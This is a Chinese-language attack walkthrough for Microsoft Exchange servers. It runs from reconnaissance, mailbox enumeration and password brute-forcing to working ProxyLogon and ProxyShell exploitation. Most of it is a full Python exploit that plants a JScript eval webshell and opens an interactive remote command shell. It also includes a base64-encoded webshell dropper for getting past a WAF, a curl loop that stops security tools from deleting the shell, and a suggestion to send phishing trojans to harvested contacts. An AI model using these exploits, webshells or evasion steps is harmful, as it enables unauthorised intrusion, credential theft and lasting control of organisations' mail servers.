1:快速发现是否存在exchange
setspn -q */*
setspn -T 域名 -F -Q */* | findstr exchange
2:定位Exchange
一:通过Spn发现,ping WIN-BN4UGESV2UD
二:fscan扫描得出,路径为/owa/auth/
3:查看Exchange版本
右键查看源代码可看
4:信息收集
工具获取:获取IP地址-版本号-域名-机器名
Burp手工获取:获取机器名-LegacyDN
POST /ecp/target.js HTTP/2 Host: win-bn4ugesv2ud User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Cookie: X-BEResource=localhost~1941962754 Content-Type: text/xml Content-Length: 2
1:修改目标的机器名
2:修改域名
POST /ecp/target.js HTTP/2 Host: win-bn4ugesv2ud User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36 Accept-Encoding: gzip, deflate Accept: */* Cookie: X-BEResource=[name]@win-bn4ugesv2ud.hack.com:443/autodiscover/autodiscover.xml?#~1941962754 Content-Type: text/xml Content-Length: 345 <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"> <Request> <EMailAddress>administrator@hack.com</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> </Request> </Autodiscover>
5:判断邮箱账户是否存在(发现存在的邮箱可以直接打漏洞了)
user.txt放要枚举的邮箱账户
go run CVE-2021-26855-PoC.go -h win-bn4ugesv2ud -U user.txt
6:爆破邮箱密码
1:将爆破出来的邮箱账户组成字典
2:将收集到的密码对其进行Intruder爆破
如果密码正确
7:后台信息收集
1:后台看到检索通讯录发送钓鱼木马
2:可以检索通讯录对其进行爆破(用处就是可以写报告用)
8:漏洞利用*1
前提条件:需要爆破出邮箱填写到脚本当中
因为我这里账户是key,所以我把key用户加到了fuzz_email当中
# -*- coding: utf-8 -*- import requests from urllib3.exceptions import InsecureRequestWarning import random import string import argparse import sys requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) fuzz_email = ['administrator', 'webmaste', 'support', 'sales', 'contact', 'admin', 'test', 'test2', 'test01', 'test1', 'guest', 'sysadmin', 'info', 'noreply', 'key', 'no-reply'] proxies = {} user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx" shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path # webshell-马子内容 shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>' final_shell = "" def id_generator(size=6, chars=string.ascii_lowercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) if __name__=="__main__": parser = argparse.ArgumentParser( description='Example: python exp.py -u 127.0.0.1 -user administrator -suffix @ex.com\n如果不清楚用户名,可不填写-user参数,将自动Fuzz用户名。') parser.add_argument('-u', type=str, help='target') parser.add_argument('-user', help='exist email', default='') parser.add_argument('-suffix', help='email suffix') args = parser.parse_args() target = args.u suffix = args.suffix if suffix == "": print("请输入suffix") exist_email = args.user if exist_email: fuzz_email.insert(0, exist_email) random_name = id_generator(4) + ".js" print("目标 Exchange Server: " + target) for i in fuzz_email: new_email = i+suffix autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"> <Request> <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> </Request> </Autodiscover> """ % new_email # print("get FQDN") FQDN = "EXCHANGE01" ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522", "User-Agent": user_agent}, verify=False, proxies=proxies) if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers: FQDN = ct.headers["X-FEServer"] print("got FQDN:" + FQDN) ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN, "Content-Type": "text/xml", "User-Agent": user_agent}, data=autoDiscoverBody, proxies=proxies, verify=False ) if ct.status_code != 200: print(ct.status_code) print("Autodiscover Error!") if "<LegacyDN>" not in str(ct.content): print("Can not get LegacyDN!") try: legacyDn = str(ct.content).split("<LegacyDN>")[ 1].split(r"</LegacyDN>")[0] print("Got DN: " + legacyDn) mapi_body = legacyDn + \ "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00" ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN, "Content-Type": "application/mapi-http", "X-Requesttype": "Connect", "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}", "X-Clientapplication": "Outlook/15.0.4815.1002", "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456", "User-Agent": user_agent }, data=mapi_body, verify=False, proxies=proxies ) if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content): print("Mapi Error!") exit() sid = str(ct.content).split("with SID ")[ 1].split(" and MasterAccountSid")[0] print("Got SID: " + sid) sid = sid.replace(sid.split("-")[-1], "500") proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r> """ % sid ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN, "Content-Type": "text/xml", "msExchLogonMailbox": "S-1-5-20", "User-Agent": user_agent }, data=proxyLogon_request, proxies=proxies, verify=False ) if ct.status_code != 241 or not "set-cookie" in ct.headers: print("Proxylogon Error!") exit() sess_id = ct.headers['set-cookie'].split( "ASP.NET_SessionId=")[1].split(";")[0] msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[ 1].split(";")[0] print("Got session id: " + sess_id) print("Got canary: " + msExchEcpCanary) ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ # "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( # FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "Cookie": "X-BEResource=Admin@{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={sess_id}; msExchEcpCanary={msExchEcpCanary1}". format(server_name=FQDN, msExchEcpCanary1=msExchEcpCanary, sess_id=sess_id, msExchEcpCanary=msExchEcpCanary), "Content-Type": "application/json; charset=utf-8", "msExchLogonMailbox": "S-1-5-20", "User-Agent": user_agent }, json={"filter": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "SelectedView": "", "SelectedVDirType": "OAB"}}, "sort": {}}, verify=False, proxies=proxies ) if ct.status_code != 200: print("GetOAB Error!") exit() oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0] print("Got OAB id: " + oabId) oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId}, "properties": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "ExternalUrl": "http://ffff/#%s" % shell_content}}} ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "msExchLogonMailbox": "S-1-5-20", "Content-Type": "application/json; charset=utf-8", "User-Agent": user_agent }, json=oab_json, proxies=proxies, verify=False ) if ct.status_code != 200: print("Set external url Error!") exit() reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId}, "properties": { "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "FilePathName": shell_absolute_path}}} ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={ "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % ( FQDN, msExchEcpCanary, sess_id, msExchEcpCanary), "msExchLogonMailbox": "S-1-5-20", "Content-Type": "application/json; charset=utf-8", "User-Agent": user_agent }, json=reset_oab_body, proxies=proxies, verify=False ) if ct.status_code != 200: print("写入shell失败") exit() shell_url = "https://"+target+"/owa/auth/test11.aspx" print("成功写入shell:" + shell_url) print("下面验证shell是否ok") print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());') print("正在请求shell") import time time.sleep(1) data = requests.post(shell_url, data={ "code": "Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"}, verify=False, proxies=proxies) if data.status_code != 200: print("写入shell失败") else: print("shell:"+data.text.split("OAB (Default Web Site)") [0].replace("Name : ", "")) print('[+]用户名: '+ new_email) final_shell = shell_url break except: print('[-]用户名: '+new_email) print("=============================") if not final_shell: sys.exit() print("下面启用交互式shell") while True: input_cmd = input("[#] command: ") data={"code": """Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c %s").stdout.readall())""" % input_cmd} ct = requests.post( final_shell, data=data,verify=False, proxies=proxies) if ct.status_code != 200 or "OAB (Default Web Site)" not in ct.text: print("[*] Failed to execute shell command") else: shell_response = ct.text.split( "Name :")[0] print(shell_response)
python exp.py -u 192.168.181.239 -user administrator -suffix @hack.com
Webshell 密码:code 忽略https证书
9:漏洞利用*2
1:脚本二可以多尝试几次使用,有时一次打不了就打两次
2:脚本二会对当前目录下users.txt进行利用,可以直接放大量的用户,也可以放从步骤五获取到的有效用户,这里起到了一个爆破邮箱账户再漏洞利用的效果。
exp脚本
邮箱账户
python exp2.py win-bn4ugesv2ud
10 :漏洞利用*3 (用得加密webshell)
python proxyshell_rce.py -u https://192.168.181.239 -e administrator@hack.com
运行程序后,依次输入:
Get-MailboxExportRequest
Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false
dropshell
坑点:
实战中遇到很多Exchange的环境虽然是system权限,但依然无法执行命令,会出现拒绝访问等情况。一般出现这样的情况是被限制执行命令或者杀软导致。
该POC默认自带的马容易被查杀,在实战中建议对马内容进行自定义,我这里是进行修改后执行并获得shell
11:绕过waf,写入一个生成木马的aspx
1.首先我们需要生成一个加密的webshell
webshell加密脚本:
https://github.com/Ridter/proxyshell_payload
在proxyshell_payload.py中修改
修改末尾的图中的地方,将其替换为webshell
然后运行得到payload(encode部分):
2.利用脚本进行攻击
利用exp:
https://github.com/dmaasland/proxyshell-poc
然后安装依赖,将上一步得到的payload,复制到proxyshell_rce.py的314行中:
python proxyshell_rce.py -u https://192.168.181.239 -e administrator@hack.com
下面内容就是用于生成一个123.aspx,只要我们上传访问一次就会生成在当前目录生成一个123.aspx的webshell,条件就是我们需要通过上述漏洞利用脚本上传上去,或者是通过漏洞把以下内容再通过webshell加密脚本再加密一次进行上次,然后再web访问一次即可。
解释:
内容就是在aspx文件根目录生成一个文件内容是123.aspx
PHNjcmlwdCBsYW5ndWFnZT0nSlNjcmlwdCcgcnVuYXQ9J3NlcnZlcicgUGFnZSBhc3Bjb21wYXQ9dHJ1ZT5mdW5jdGlvbiBQYWdlX0xvYWQoKXtldmFsKFJlcXVlc3RbJ3RhbmdhbnQnXSwndW5zYWZlJyk7fTwvc2NyaXB0PgoK
利用base64解密写入123.aspx
最后重新上传,访问上传成功的文件,提示success说明就写入成功了
如果被杀的情况下,写一个sh脚本挂在服务器上一直访问那个链接,因为我们访问着代表此文件正在被使用着,导致waf就没法删掉我们的马子
#!/bin/bash
while true
do
curl -ki https://xxxx.xxx//aspnet_client/ixxxot.aspx
done